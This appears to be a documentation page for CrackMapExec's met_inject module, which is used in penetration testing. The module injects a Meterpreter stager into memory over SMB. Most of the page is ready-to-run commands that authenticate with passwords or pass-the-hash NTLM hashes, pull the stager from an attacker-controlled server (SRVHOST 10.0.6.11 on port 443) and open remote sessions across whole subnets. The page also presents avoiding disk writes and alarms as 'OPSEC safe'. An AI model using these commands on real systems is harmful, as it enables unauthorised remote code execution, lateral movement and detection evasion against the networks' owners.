CrackMapExec Met_inject (smb)


This page contains detailed information about how to use the met_inject CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

This module downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script. Use this with the Metasploit web_delivery module.

The met_inject module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

  • mssql
  • smb

Module Source Code

Authors

Module Options

Here is a complete list of met_inject module options:

# cme smb -M met_inject --options
[*] met_inject module options:

            SRVHOST     IP hosting of the stager server
            SRVPORT     Stager port
            RAND        Random string given by metasploit
            SSL         Stager server use https or http (default: https)

The SRVHOST, SRVPORT and RAND options are required! Make sure to set them when using this module.

Module Usage

This is how to use the met_inject module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M met_inject -o SRVHOST=<host> -o SRVPORT=<port> -o RAND=<random>

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W
The met_inject module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M met_inject -o SRVHOST=10.0.6.11 -o SRVPORT=443 -o RAND=fXMS45W

References

Version

This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.